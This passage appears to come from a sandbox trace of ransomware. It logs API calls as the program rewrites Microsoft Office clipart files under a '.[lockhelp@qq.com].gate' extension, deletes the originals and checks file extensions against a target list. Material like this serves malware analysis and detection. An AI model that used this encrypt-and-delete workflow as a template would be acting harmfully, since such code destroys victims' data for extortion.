lpOverlapped=0x0) returned 1 [0291.087] WriteFile (in: hFile=0x3d0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xee0, lpOverlapped=0x0) returned 1 [0291.088] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.088] WriteFile (in: hFile=0x3d0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0291.088] SetEndOfFile (hFile=0x3d0) returned 1 [0291.089] CloseHandle (hObject=0x3d0) returned 1 [0291.089] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.089] SetEndOfFile (hFile=0x4b8) returned 1 [0291.091] CloseHandle (hObject=0x4b8) returned 1 [0291.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0291.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0291.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0291.093] lstrlenW (lpString=".doc") returned 4 [0291.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.093] lstrlenW (lpString=".docx") returned 5 [0291.093] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.093] lstrlenW (lpString=".pdf") returned 4 [0291.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.093] lstrlenW (lpString=".xls") returned 4 [0291.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.093] lstrlenW (lpString=".xlsx") returned 5 [0291.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.093] lstrlenW (lpString=".ppt") returned 4 [0291.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0291.093] lstrlenW (lpString=".zip") returned 4 [0291.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.093] lstrlenW (lpString=".rar") returned 4 [0291.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.093] lstrlenW (lpString=".bz2") returned 4 [0291.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.093] lstrlenW (lpString=".7z") returned 3 [0291.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0291.093] lstrlenW (lpString=".dbf") returned 4 [0291.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0291.093] lstrlenW (lpString=".1cd") returned 4 [0291.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0291.094] lstrlenW (lpString=".jpg") returned 4 [0291.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.108] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=7176) returned 1 [0291.108] CloseHandle (hObject=0x4b0) returned 1 [0291.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220 [0291.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0291.109] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.109] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0291.110] GetLastError () returned 0x0 [0291.110] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1c08, lpOverlapped=0x0) returned 1 [0291.192] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x1c10, lpOverlapped=0x0) returned 1 [0291.193] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.194] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0291.194] SetEndOfFile (hFile=0x4c4) returned 1 [0291.194] CloseHandle (hObject=0x4c4) returned 1 [0291.195] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.195] SetEndOfFile (hFile=0x4b0) returned 1 [0291.201] CloseHandle (hObject=0x4b0) returned 1 [0291.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.204] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0291.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0291.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0291.206] lstrlenW (lpString=".doc") returned 4 [0291.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.206] lstrlenW (lpString=".docx") returned 5 [0291.207] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.207] lstrlenW (lpString=".pdf") returned 4 [0291.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.207] lstrlenW (lpString=".xls") returned 4 [0291.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.207] lstrlenW (lpString=".xlsx") returned 5 [0291.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.207] lstrlenW (lpString=".ppt") returned 4 [0291.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0291.207] lstrlenW (lpString=".zip") returned 4 [0291.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.207] lstrlenW (lpString=".rar") returned 4 [0291.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.207] lstrlenW (lpString=".bz2") returned 4 [0291.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.207] lstrlenW (lpString=".7z") returned 3 [0291.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0291.207] lstrlenW (lpString=".dbf") returned 4 [0291.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0291.211] lstrlenW (lpString=".1cd") returned 4 [0291.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0291.211] lstrlenW (lpString=".jpg") returned 4 [0291.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.445] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=14996) returned 1 [0291.445] CloseHandle (hObject=0x4b8) returned 1 [0291.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220 [0291.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0291.449] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.449] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0291.454] GetLastError () returned 0x0 [0291.454] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x3a94, lpOverlapped=0x0) returned 1 [0291.482] WriteFile (in: hFile=0x4f0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0291.483] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.483] WriteFile (in: hFile=0x4f0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0291.483] SetEndOfFile (hFile=0x4f0) returned 1 [0291.577] CloseHandle (hObject=0x4f0) returned 1 [0291.578] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.578] SetEndOfFile (hFile=0x4e8) returned 1 [0291.714] CloseHandle (hObject=0x4e8) returned 1 [0291.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0291.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0291.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0291.715] lstrlenW (lpString=".doc") returned 4 [0291.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.715] lstrlenW (lpString=".docx") returned 5 [0291.715] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.715] lstrlenW (lpString=".pdf") returned 4 [0291.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.715] lstrlenW (lpString=".xls") returned 4 [0291.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.715] lstrlenW (lpString=".xlsx") returned 5 [0291.715] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.715] lstrlenW (lpString=".ppt") returned 4 [0291.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0291.715] lstrlenW (lpString=".zip") returned 4 [0291.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.715] lstrlenW (lpString=".rar") returned 4 [0291.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.715] lstrlenW (lpString=".bz2") returned 4 [0291.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.715] lstrlenW (lpString=".7z") returned 3 [0291.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0291.715] lstrlenW (lpString=".dbf") returned 4 [0291.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0291.716] lstrlenW (lpString=".1cd") returned 4 [0291.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0291.716] lstrlenW (lpString=".jpg") returned 4 [0291.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.716] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2422) returned 1 [0291.716] CloseHandle (hObject=0x4e8) returned 1 [0291.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220 [0291.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0291.717] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.717] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0291.717] GetLastError () returned 0x0 [0291.718] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x976, lpOverlapped=0x0) returned 1 [0291.914] WriteFile (in: hFile=0x500, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x980, lpOverlapped=0x0) returned 1 [0291.915] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.915] WriteFile (in: hFile=0x500, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0291.915] SetEndOfFile (hFile=0x500) returned 1 [0291.915] CloseHandle (hObject=0x500) returned 1 [0291.917] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.917] SetEndOfFile (hFile=0x4e8) returned 1 [0291.920] CloseHandle (hObject=0x4e8) returned 1 [0291.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0291.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0291.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0291.921] lstrlenW (lpString=".doc") returned 4 [0291.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.921] lstrlenW (lpString=".docx") returned 5 [0291.921] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0291.921] lstrlenW (lpString=".pdf") returned 4 [0291.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.921] lstrlenW (lpString=".xls") returned 4 [0291.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.921] lstrlenW (lpString=".xlsx") returned 5 [0291.921] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0291.922] lstrlenW (lpString=".ppt") returned 4 [0291.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0291.922] lstrlenW (lpString=".zip") returned 4 [0291.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.922] lstrlenW (lpString=".rar") returned 4 [0291.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.922] lstrlenW (lpString=".bz2") returned 4 [0291.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.922] lstrlenW (lpString=".7z") returned 3 [0291.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0291.922] lstrlenW (lpString=".dbf") returned 4 [0291.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0291.922] lstrlenW (lpString=".1cd") returned 4 [0291.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0291.922] lstrlenW (lpString=".jpg") returned 4 [0291.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.923] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2966) returned 1 [0291.923] CloseHandle (hObject=0x4e8) returned 1 [0291.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220 [0291.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0291.924] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.924] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0291.925] GetLastError () returned 0x0 [0291.925] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xb96, lpOverlapped=0x0) returned 1 [0291.962] WriteFile (in: hFile=0x500, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xba0, lpOverlapped=0x0) returned 1 [0291.963] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.963] WriteFile (in: hFile=0x500, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xe2, lpOverlapped=0x0) returned 1 [0291.963] SetEndOfFile (hFile=0x500) returned 1 [0291.963] CloseHandle (hObject=0x500) returned 1 [0291.964] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.964] SetEndOfFile (hFile=0x4e8) returned 1 [0291.966] CloseHandle (hObject=0x4e8) returned 1 [0291.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1 [0291.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.967] lstrlenW (lpString=".doc") returned 4 [0291.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.968] lstrlenW (lpString=".docx") returned 5 [0291.968] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0291.968] lstrlenW (lpString=".pdf") returned 4 [0291.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.968] lstrlenW (lpString=".xls") returned 4 [0291.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.968] lstrlenW (lpString=".xlsx") returned 5 [0291.968] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0291.968] lstrlenW (lpString=".ppt") returned 4 [0291.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.968] 